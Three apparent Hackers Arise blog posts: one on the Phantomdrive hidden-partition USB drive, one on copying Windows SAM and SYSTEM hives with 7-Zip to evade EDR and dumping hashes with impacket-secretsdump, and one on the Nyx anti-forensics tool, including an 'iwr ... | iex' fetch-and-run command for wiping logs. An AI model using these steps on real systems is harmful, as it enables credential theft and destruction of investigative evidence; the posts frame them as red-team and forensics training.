Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back, cyberwarriors!

The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.

Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.

Credit where it’s due, Jonas Lyk shared this approach.

Extracting Hives

To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.

Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.

Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive. 

System hives live in Windows\System32\config

Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.

File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.

kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL

We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.

Terminal

This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.

There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.

Summary

Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.

It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Attacking SAM and Extracting Hashes With 7z first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.